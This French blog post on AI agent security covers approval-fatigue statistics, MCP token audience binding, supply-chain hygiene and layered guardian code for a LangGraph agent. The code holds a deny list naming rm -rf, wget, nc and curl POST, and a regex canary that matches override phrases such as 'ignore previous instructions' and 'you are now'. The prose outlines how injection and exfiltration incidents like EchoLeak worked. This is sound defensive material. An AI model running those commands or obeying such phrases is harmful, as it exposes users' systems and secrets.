"We found that 80% of tool calls come from agents that appear to have at least one kind of safeguard (like restricted permissions or human approval requirements), 73% appear to have a human in the loop in some way, and only 0.8% of actions appear to be irreversible."
C’est la bonne nouvelle. Traitez 80 % comme une borne haute, parce que la note 14 d’Anthropic ajoute que "Claude often overestimated human involvement, so we expect 80% to be an upper bound."
"Newer users (<50 sessions) employ full auto-approve roughly 20% of the time; by 750 sessions, this increases to over 40% of sessions."
C’est la dérive. Les utilisateurs commencent prudemment. Les utilisateurs deviennent moins prudents à mesure qu’ils construisent de la confiance avec l’outil. C’est ce que font les humains. Ce n’est pas un défaut de caractère. C’est un signal de télémétrie dont votre système doit tenir compte. (Petite note de fact-check : des reprises secondaires largement citées ont formulé cela comme « 20 % → plus de 50 % ». D’après les données primaires d’Anthropic, le chiffre vérifié est 20 % → plus de 40 %. Si vous avez vu le chiffre de 50 %, voilà d’où il vient et pourquoi.)
Et puis il y a la chute de l’article d’ingénierie d’Anthropic de mars 2026 sur le mode auto de Claude Code :
"Claude Code users approve 93% of permission prompts. We built classifiers to automate some decisions, increasing safety while reducing approval fatigue... If a session accumulates 3 consecutive denials or 20 total, we stop the model and escalate to the human."
93 % d’approbation, c’est la vraie histoire. Quand une boîte de dialogue est approuvée neuf fois sur dix, ce n’est plus un contrôle de sécurité. C’est de la télémétrie. C’est l’équivalent UX de la bannière de consentement aux cookies : techniquement présente, fonctionnellement ignorée. La réponse d’Anthropic est architecturale. Un classifieur en deux étapes (filtre rapide à token unique, puis chain-of-thought uniquement si signalé, 0,4 % de FPR) supprime les prompts d’approbation pour les actions à faible risque et arrête complètement la boucle si les refus se regroupent.
Le principe de conception
Escalade uniquement. Mettez sur allowlist les actions routinières, journalisez-les, et ne remontez que les exceptions. Classez chaque action selon son rayon d’explosion : les ~99 % qui sont réversibles (edits, reads, commandes shell sûres) doivent passer avec journalisation et sans prompt du tout. Le ~1 % qui est irréversible — rm -rf, git push --force, un DROP TABLE, l’envoi d’un email, une dépense d’argent — est celui pour lequel un prompt humain mérite réellement son coût. Anthropic le formule bien : "effective oversight doesn't require approving every action but being in a position to intervene when it matters."
Le nombre d’approbations est donc une métrique produit, et vous devez la lire comme telle. La métrique upstream plus propre est le taux d’escalade — quelle fraction des actions de l’agent déclenche un prompt, tout simplement. Les recommandations du secteur convergent vers ~10–15 % (Galileo), ajusté à la hausse pour les domaines régulés (finance, santé) et à la baisse pour les domaines routiniers. Descendez sous 10 % et vos humains ne voient jamais rien de réel. Montez au-dessus de 15 % et vous retombez dans le territoire des 93 % d’approbation automatique.
Pour les prompts qui se déclenchent réellement, le billet sur le mode auto d’Anthropic ne publie volontairement pas de taux d’approbation cible. Il traite simplement 93 % comme la preuve du problème. Le consensus informel se situe quelque part autour de 60–80 % : assez de oui pour que les utilisateurs ne soient pas noyés sous les refus, assez de non pour qu’ils lisent réellement. Diagnostic approximatif :
- 95 %+ d’approbation → vos prompts sont du bruit. Élargissez plus agressivement l’allowlist, escaladez moins.
- 30 % d’approbation → l’agent propose les mauvaises choses. Déboguez le planner, l’outil ou le modèle mental de l’utilisateur sur ce qu’il a demandé.
- 60–80 % d’approbation → probablement sain. Continuez à surveiller les chiffres de dérive — la montée de 20 %→40 % d’auto-approve observée dans l’étude Anthropic apparaîtra aussi chez vous.
Les modes d’échec sont symétriques, et les deux méritent un débogage.
Scoping MCP et supply chain
MCP est la dernière pièce de la pile 2026, et c’est celle que tout le monde traite comme de la plomberie — jusqu’à ce qu’un tuyau éclate. C’est la couche qui permet aux agents de parler à des outils externes : un serveur Slack, un serveur GitHub, un serveur de base de données, peu importe ce dont l’agent a besoin. Ce qui a permis à la chaîne d’attaque CVE-2025-59536 de fonctionner, c’est que l’ancienne conception de MCP n’avait aucun moyen de dire « ce token appartient à ce serveur et à aucun autre ». La nouvelle conception corrige cela, et il vaut la peine de suivre comment on y est arrivé, parce que la forme du correctif vous dit quoi vérifier dans vos propres serveurs.
Autorisation MCP en trois révisions
La spécification 2025-03-26 imposait OAuth 2.1 avec PKCE, le flux standard pour les clients publics. Cette partie était correcte, mais la spécification était incomplète d’une manière subtile et dangereuse. Elle brouillait deux rôles très différents qu’un serveur MCP pouvait jouer : le authorization server (AS), qui émet les tokens, et le resource server (RS), qui les accepte. Quand le même serveur peut faire les deux, un client peut remettre un token au serveur A, et si le serveur A relaie ensuite la requête en amont vers le serveur B, le même credential finit par voyager là où il n’a jamais été censé aller. C’est là la faille.
La révision du 2025-06-18 l’a refermée en traçant une ligne nette. À partir de ce moment, les serveurs MCP sont strictement des OAuth 2.1 Resource Servers : ils acceptent des tokens émis par un authorization server externe et n’en émettent jamais eux-mêmes. Le correctif structurel qui permet à cela de réellement fonctionner est RFC 8707 Resource Indicators, désormais obligatoire. Les Resource Indicators lient un token à un serveur spécifique via un claim aud (audience), de sorte que le token est cryptographiquement scopé à « serveur X, nulle part ailleurs ». Par-dessus cela, les serveurs ont interdiction de transmettre le token d’un client à un autre service amont, et RFC 9728 Protected Resource Metadata remplace l’ancien fallback de « deviner l’endpoint token à partir d’une URL par défaut » par une découverte explicite.
C’est pourquoi les attaques de type CVE-2025-59536 ne fonctionnent plus. Même si un repo malveillant redirige ANTHROPIC_BASE_URL vers l’hôte d’un attaquant, les tokens qui y arrivent portent un claim aud désignant l’hôte légitime. Le serveur de l’attaquant ne peut pas les utiliser, et personne à qui l’attaquant les transférerait non plus. Le binding à l’audience est un petit détail cryptographique qui ferme un gros trou de politique — vous n’avez pas besoin de faire confiance à tous les serveurs de la chaîne pour qu’ils se comportent correctement, parce que le token lui-même refuse d’être rejoué.
La checklist MCP 2026
Si vous livrez ou consommez MCP en production :
- L’authentification n’est pas optionnelle. La CVE Azure MCP Server manquait d’auth, point final. Si votre serveur accepte du trafic sans vérifier un token, vous avez construit un outil que n’importe quel attaquant sur le même réseau peut appeler.
- Les tokens sont liés à une audience. Chaque token MCP porte un claim
aud(audience) — un champ à l’intérieur du token qui nomme exactement un serveur, de la même façon qu’une adresse de livraison nomme une seule maison. Votre travail consiste à vérifier, à chaque requête, que votre propre serveur est bien celui qui est nommé. Si vous ne le faites pas, n’importe quel token qu’un attaquant a volé à n’importe quel autre serveur fonctionnera aussi contre le vôtre, et depuis votre serveur il pourra atteindre tous les systèmes auxquels le vôtre se connecte. - Ne donnez à chaque outil que les permissions dont il a réellement besoin. Les permissions vivent au niveau du serveur, pas de l’outil — donc si un serveur MCP Slack se voit accorder la permission de poster des messages (
chat:write), chaque outil Slack de ce serveur en hérite, y compris ceux qui ne devraient faire que de la lecture. Scindez-les en serveurs séparés quand vous le pouvez, afin qu’un bug dans un outil n’utilise pas silencieusement une permission dont il n’a jamais eu besoin. - Utilisez des tokens frais et de courte durée plutôt que des clés API permanentes. Le pattern du vault Claude Managed Agents (Anthropic engineering) est la référence : l’agent lui-même ne voit jamais les vrais credentials. Un service intermédiaire les conserve, récupère un token frais au moment où un outil est appelé, l’utilise pour le compte de l’agent et ne renvoie que le résultat.
La supply chain est la version ennuyeuse de tout cela
Les incidents axios et Trivy ne sont pas exotiques. C’est le même problème que tout le monde a avec npm et GitHub Actions depuis des années, appliqué à des agents qui auto-exécutent leurs dépendances. La torsion spécifique aux agents, c’est que le rayon d’explosion est plus grand, parce qu’un agent exécutera volontiers npm install dans mille projets en une semaine. Votre discipline supply-chain tourne désormais à la vitesse de l’agent, qui est bien supérieure à celle de votre réponse à incident.
La défense n’a rien d’ingénieux. C’est :
- Pinner les versions dans le lockfile. Les agents ne doivent pas
--latest. - Scanner en CI avec des outils qui ne sont pas eux-mêmes l’outil compromis. (Trivy a brièvement servi de leçon.)
- Utiliser les commit SHAs GitHub pour les Actions, pas les tags.
- Examiner les diffs de dépendances sur les PR générées par agent avant merge.
Rien de tout cela n’est nouveau. Tout cela devient structurel quand un agent l’exécute dix mille fois par jour.
Une pile guardian pour le Market Analyst Agent
Le Market Analyst Agent de la Partie 1 est un petit agent LangGraph. Il récupère des données de marché, résume de la recherche et n’est pas censé appeler des commandes shell, écrire hors de son workspace, ni exfiltrer quoi que ce soit. Voici à quoi ressemble pour lui une pile guardian minimale.
Couche 1 : un hook PreToolUse de deny-list
Même un agent qui « ne fait que lire des données boursières » peut vouloir atteindre des choses qu’il ne devrait pas : un curl vers une URL contrôlée par un attaquant, des écritures hors du workspace, des mutations git sur le repo hôte. Une règle de deny est de l’infrastructure, pas du prompt.
# agent/permissions.py
DENY_COMMANDS = frozenset({
"rm -rf", "sudo", "chmod 777",
"curl -X POST", "wget", "nc ",
})
DENY_PATHS = ("/", "/etc", "/Users", "/.ssh")
def pre_tool_use(tool_name: str, args: dict) -> dict | None:
if tool_name == "shell":
cmd = args.get("command", "")
if any(bad in cmd for bad in DENY_COMMANDS):
return {"permissionDecision": "deny",
"reason": f"command pattern disallowed: {cmd!r}"}
if tool_name == "write_file":
path = args.get("path", "")
if any(path.startswith(p) for p in DENY_PATHS):
return {"permissionDecision": "deny",
"reason": f"path outside workspace: {path!r}"}
return None # fall through to mode / canUseTool
Un hook pré-outil, un frozenset, une réponse de deny structurée. L’agent voit le deny comme une observation et peut raisonner dessus. Le hook a priorité sur le mode. Le mode a priorité sur l’avis du modèle.
Couche 2 : un canari d’entrée contre les prompt injections
Le détournement d’objectif de l’agent (ASI01) arrive souvent via l’entrée : une page web récupérée, un message fourni par l’utilisateur, un PDF de papier de recherche. Un contrôle canari (un passage regex bon marché qui signale des chaînes suspectes avant qu’elles n’atteignent le modèle) ne bloquera pas les contournements de niveau EchoLeak, mais il attrapera 80 % des injections opportunistes :
# agent/input_canary.py
import re
INJECTION_PATTERNS = [
re.compile(r"ignore (previous|all|prior) (instructions|rules)",
re.IGNORECASE),
re.compile(r"you are now|act as|roleplay as", re.IGNORECASE),
re.compile(r"system[ _:]*prompt", re.IGNORECASE),
re.compile(r"<\|im_(start|end)\|>"),
]
def input_canary(text: str) -> dict | None:
for pat in INJECTION_PATTERNS:
m = pat.search(text)
if m:
return {"flag": "possible_injection", "match": m.group(0)}
return None
Journalisez les entrées signalées ; ne les rejetez pas automatiquement. Les faux positifs sont coûteux ici pour un assistant de recherche. Mais le journal est ce qui vous permet de remarquer quand le nombre de signaux grimpe soudainement pour un utilisateur.
Couche 3 : validation structurée de sortie via hook Stop
Un modèle Pydantic plus un hook Stop vous donnent une boucle serrée validate-then-retry pour la génération de rapports. L’agent ne peut pas prétendre avoir « fini » tant que la sortie ne passe pas la validation de schéma et un smoke test :
# agent/stop_hook.py
from pydantic import ValidationError
from agent.schemas import MarketReport
def on_stop(final_output: str) -> dict:
try:
report = MarketReport.model_validate_json(final_output)
except ValidationError as e:
return {"decision": "continue",
"feedback": f"schema invalid: {e.errors()[:3]}"}
if not report.tickers:
return {"decision": "continue",
"feedback": "no tickers in report — did you skip the snapshot step?"}
return {"decision": "allow_stop"}
Trois lignes de validation de schéma et un smoke check font la différence entre « l’agent a dit qu’il avait fini » et « la sortie est réellement un rapport ». C’est une assurance peu coûteuse.
Couche 4 : une porte d’interrupt sur toute action sortante
L’analyste de marché ne devrait jamais envoyer d’email ni poster sur Slack. Mais s’il obtient un jour un outil capable de le faire, cet outil est encapsulé dans interrupt() :
# agent/tools/notify.py
from langgraph.types import interrupt
@tool
def send_report(to: str, body: str):
resp = interrupt({
"action": "send_report",
"to": to,
"body_preview": body[:400],
})
if resp.get("action") == "approve":
return smtp_send(to, body)
return "send cancelled by human"
Les actions sortantes sont le dernier kilomètre de la trifecta létale. Bloquez-les explicitement. Le chiffre de 0,8 % dans l’article d’Anthropic est probablement correct pour l’exécution moyenne ; la plupart des choses sont réversibles. Un email ne l’est pas. Rien d’utile n’est jamais sorti d’un agent qui envoie un email à votre CFO sans demander.
Ce que cette pile ne fait pas
Soyons honnêtes sur les limites. Ce n’est pas une défense contre :
- Une dépendance amont compromise (classe axios). L’agent exécute ce que
uv syncdit d’exécuter. - Un
.mcp.jsonmalveillant dans un repo cloné (classe CVE-2025-59536). C’est le modèle de permissions du client MCP hôte qui l’arrête, pas le code de l’agent. - Une chaîne de vol de données construite à partir d’outils légitimes (classe EchoLeak) — l’agent lit des données privées, l’agent récupère des URL externes et l’agent envoie des messages vers l’extérieur. Il vous faut le cadre de la trifecta : ne combinez pas du tout ces trois capacités.
Ces hooks sont le plancher local. Le reste vit dans le harness et l’OS. C’est la Partie 5.
Points clés
- Les garde-fous LLM encapsulent un appel modèle. Les guardians d’agent encapsulent la boucle. Les deux sont nécessaires. Seul le second attrape EchoLeak, Amazon Q, Azure MCP, Claude Code CVE-2025-59536, axios et Trivy.
- Huit des dix catégories OWASP ASI pour 2026 concernent le harness, pas la sortie du modèle. La distribution des incidents et la distribution OWASP convergent : la classe de menace dominante est passée sous le modèle.
- La permission est de l’infrastructure, pas du prompt. D’abord les règles de deny, puis les règles de demande, puis les hooks PreToolUse, puis les règles d’allow, puis le mode, puis le callback. Les hooks ont priorité sur les modes. Les chemins protégés restent protégés sous
bypassPermissions. - Traitez le deny structuré d’un hook PreToolUse comme une observation d’outil de plus. La boucle de raisonnement le gère déjà. Vous n’avez pas besoin d’un workflow sécurité séparé.
- 93 % d’approbation signifie que votre boîte de dialogue est de la télémétrie, pas de la sûreté. Mettez en allowlist les actions routinières, n’escaladez que les exceptions, arrêtez la boucle sur un cluster de refus. Le principe de conception est l’escalade uniquement.
- Les tokens liés à une audience et les vaults par session sont des faits cryptographiques banals qui ferment de gros trous de politique. RFC 8707 Resource Indicators et le pattern de vault Claude Managed Agents sont les implémentations de référence de 2026.
- La supply chain concerne le harness. Les agents exécutent
npm installplus vite que votre réponse à incident. Pinner les versions, pinner les SHAs, scanner en CI, examiner les diffs de PR générées par agent. - Construisez la couche de politique de façon à ce qu’un nouveau lancement produit ne l’invalide pas. OpenAI Agents SDK, Codex CLI et Claude Code expriment les mêmes primitives différemment. Ce sont ces primitives (échelles de permissions, hooks, sandboxes, interrupts, tokens liés à une audience) sur lesquelles vous pariez.
Références
Les cadrages
- Bharani Subramaniam et Martin Fowler, Emerging Patterns in Building GenAI Products.
- Simon Willison, The lethal trifecta for AI agents, 16 juin 2025.
- Joel Fokou, Parallax: A Principled Architecture for Safe Agentic AI, arXiv 2604.12986, 14 avril 2026 (non relu par les pairs).
- Alessandro Pignati, Your AI Agent Has Too Much Power: Understanding and Taming Excessive Agency, janvier 2026.
Produits de garde-fous LLM
- NVIDIA NeMo Guardrails
- Meta Llama Guard 4
- Guardrails AI
- Lakera Guard
- AWS Bedrock Guardrails
- Azure Content Safety: Prompt Shields
- openai-guardrails-python
Incidents
- Itay Ravia (anciennement Aim Labs, désormais Cato Networks), Breaking down EchoLeak (CVE-2025-32711).
- AWS, Amazon Q Developer VS Code v1.84.0 advisory (CVE-2025-8217).
- Microsoft, Azure MCP Server (CVE-2026-32211).
- Check Point Research, RCE and API token exfiltration through Claude Code project files (CVE-2025-59536).
- axios, v1.14.1 / v0.30.4 compromise post-mortem.
- Aqua Security, Trivy Actions tag hijack (GHSA-69fq-xp46-6x23).
Surfaces de politique
- OpenAI Agents SDK — documentation des outils MCP
- Configuration managée Codex CLI
- Modes de permissions Claude Code
- Sandboxing Claude Code
- Claude Managed Agents
HITL
- Documentation LangGraph interrupts
- HumanLayer Python quickstart
- Anthropic, Measuring AI agent autonomy in practice, 18 février 2026.
- Anthropic, Claude Code auto mode, 25 mars 2026.
- Jackson Wells (Galileo), How to Build Human-in-the-Loop Oversight for Production AI Agents, 21 décembre 2025.
OWASP
- OWASP Agentic Security Initiative, Top 10 for Agentic Applications, 2026, 9 décembre 2025.
Série
- Partie 1 : Boucles de raisonnement des agents IA en 2026 — ReAct, ReWOO et Plan-and-Execute.
- Partie 2 : Architecture mémoire des agents IA en 2026 — checkpoints, vector stores et mémoire documentaire.
- Partie 3 : Usage des outils par les agents IA en 2026 — MCP, CLI, Skills, exécution de code et ACI.
- Partie 4 : Sécurité des agents IA en 2026 (ce billet)
- Partie 5 : Runtime des agents IA de longue durée en 2026 — sessions, sandboxes, checkpoints, harnesses et formes de déploiement.
Le code du Market Analyst Agent (le hook de deny PreToolUse, le canari d’entrée, le validateur Stop-hook et la porte d’interrupt décrits ci-dessus) est sur GitHub.